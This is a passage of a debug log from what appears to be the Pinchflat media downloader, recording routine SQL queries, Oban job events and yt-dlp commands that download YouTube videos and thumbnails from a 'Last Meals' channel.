s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:44.264 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:44.264 [debug] Running yt-dlp command for action: get_downloadable_status 21:39:44.264 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:44.264 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:44.264 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:44.264 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xEhk5iOQnmg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e0/0e/e00e565b590b84b45baa0b4f500f5a156afee63a2e54ada04ef747fcd0f99b4b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:39:46.546 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xEhk5iOQnmg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e0/0e/e00e565b590b84b45baa0b4f500f5a156afee63a2e54ada04ef747fcd0f99b4b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:39:46.546 [debug] Running yt-dlp command for action: download 21:39:46.547 [debug] QUERY OK source="settings" db=0.1ms idle=487.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:46.547 [debug] QUERY OK source="settings" db=0.0ms idle=487.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:46.547 [debug] QUERY OK source="settings" db=0.0ms idle=487.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:46.547 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xEhk5iOQnmg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1c/06/1c06f18b9aef7c80cfe30fbfbb304d060faf1858414f9892638843402932fac7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:39:58.740 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.615 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:40:28.742 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:58.744 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.616 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:41:28.746 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:58.746 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.222 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nblHDBr5d_0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/10/f1/10f1c55e6e7bc43349b7682b113a7a055ff5f32322e97ad591069c05a2c4e3d0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:42:00.235 [debug] Running yt-dlp command for action: download_thumbnail 21:42:00.236 [debug] QUERY OK source="settings" db=0.0ms idle=525.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:00.236 [debug] QUERY OK source="settings" db=0.0ms idle=176.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:00.236 [debug] QUERY OK source="settings" db=0.0ms idle=176.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:00.236 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nblHDBr5d_0 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/43/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/77/68/776822865ef3cd9f99d9ceffc4e4e8b94652b186c42c882fd7e256d2630171f2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:42:00.617 [info] {"source":"oban","duration":102,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:42:03.314 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nblHDBr5d_0 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/43/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/77/68/776822865ef3cd9f99d9ceffc4e4e8b94652b186c42c882fd7e256d2630171f2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:42:03.314 [debug] QUERY OK db=0.0ms idle=1254.8ms begin [] 21:42:03.315 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:42:00Z], "/downloads/Last Meals/2025-02-11 Teddy Swims Eats His Last Meal/Teddy Swims Eats His Last Meal [nblHDBr5d_0].mp4", ~U[2026-03-28 01:42:03Z], 43] 21:42:03.315 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/43/metadata.json.gz", "/config/metadata/media_items/43/thumbnail.jpg", 43, ~U[2026-03-28 01:42:03Z], ~U[2026-03-28 01:42:03Z]] 21:42:03.315 [debug] QUERY OK db=0.1ms commit [] 21:42:03.316 [debug] QUERY OK source="media_items" db=0.7ms idle=1256.5ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [470133995, ~U[2026-03-28 01:42:03Z], 43] 21:42:03.316 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:42:03.317 [info] {"args":{"id":43},"id":46,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":142961092,"event":"job:stop","queue_time":3101355393,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:42:03.317 [debug] QUERY OK source="tasks" db=0.2ms idle=1257.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:42:03.317 [debug] QUERY OK source="tasks" db=0.3ms idle=600.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:42:03.317 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [44] 21:42:03.317 [debug] QUERY OK source="media_items" db=0.2ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [44] 21:42:03.322 [info] {"args":{"id":45},"id":48,"meta":{},"system_time":1774662123322773619,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:42:03.323 [debug] QUERY OK source="media_items" db=0.3ms idle=5.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [45] 21:42:03.323 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:42:03.323 [debug] QUERY OK source="tasks" db=0.5ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:42:03.323 [debug] QUERY OK source="tasks" db=0.5ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:42:03.323 [debug] QUERY OK source="sources" db=0.2ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:42:03.324 [debug] QUERY OK source="media_items" db=0.4ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [44, 45] 21:42:03.324 [debug] QUERY OK source="media_items" db=0.5ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [44, 45] 21:42:03.324 [debug] QUERY OK source="media_profiles" db=0.6ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:42:03.324 [debug] QUERY OK source="media_items" db=0.1ms idle=1.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [45] 21:42:03.325 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [45] 21:42:03.325 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:42:03.325 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:03.325 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:03.325 [debug] Running yt-dlp command for action: get_downloadable_status 21:42:03.326 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:03.326 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:03.326 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:03.326 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rexfoQ17fTc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ef/6c/ef6c899d6991baf8bab539c9ff34d7debc1e433b108e93f002343f360042666b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:42:05.653 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rexfoQ17fTc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ef/6c/ef6c899d6991baf8bab539c9ff34d7debc1e433b108e93f002343f360042666b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:42:05.653 [debug] Running yt-dlp command for action: download 21:42:05.654 [debug] QUERY OK source="settings" db=0.0ms idle=933.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:05.654 [debug] QUERY OK source="settings" db=0.0ms idle=594.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:05.654 [debug] QUERY OK source="settings" db=0.0ms idle=594.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:05.654 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rexfoQ17fTc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/68/d1/68d1c89236405aeb5b6545e9b8b9d436bca3c69dfd522aa8cd96747315456ceb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:42:28.748 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:58.749 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:59.336 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xEhk5iOQnmg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1c/06/1c06f18b9aef7c80cfe30fbfbb304d060faf1858414f9892638843402932fac7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:42:59.356 [debug] Running yt-dlp command for action: download_thumbnail 21:42:59.356 [debug] QUERY OK source="settings" db=0.1ms idle=1297.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:59.356 [debug] QUERY OK source="settings" db=0.0ms idle=606.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:59.356 [debug] QUERY OK source="settings" db=0.0ms idle=550.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:42:59.357 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xEhk5iOQnmg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/44/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/4d/fb/4dfb1736bd0cebc5fd88b32ab5eb46fcc54ea8100bba3c1b91355ff1524c6fcf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:43:00.619 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:43:02.030 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xEhk5iOQnmg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/44/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/4d/fb/4dfb1736bd0cebc5fd88b32ab5eb46fcc54ea8100bba3c1b91355ff1524c6fcf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:43:02.031 [debug] QUERY OK db=0.1ms idle=1221.0ms begin [] 21:43:02.031 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:42:59Z], "/downloads/Last Meals/2025-11-25 Elizabeth Olsen Eats Her Last Meal/Elizabeth Olsen Eats Her Last Meal [xEhk5iOQnmg].mp4", ~U[2026-03-28 01:43:02Z], 44] 21:43:02.032 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/44/metadata.json.gz", "/config/metadata/media_items/44/thumbnail.jpg", 44, ~U[2026-03-28 01:43:02Z], ~U[2026-03-28 01:43:02Z]] 21:43:02.032 [debug] QUERY OK db=0.1ms commit [] 21:43:02.035 [debug] QUERY OK source="media_items" db=0.7ms idle=974.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [657749953, ~U[2026-03-28 01:43:02Z], 44] 21:43:02.035 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:43:02.035 [info] {"args":{"id":44},"id":47,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":197772753,"event":"job:stop","queue_time":3104262345,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:43:02.036 [debug] QUERY OK source="tasks" db=0.3ms idle=976.2ms SELECT 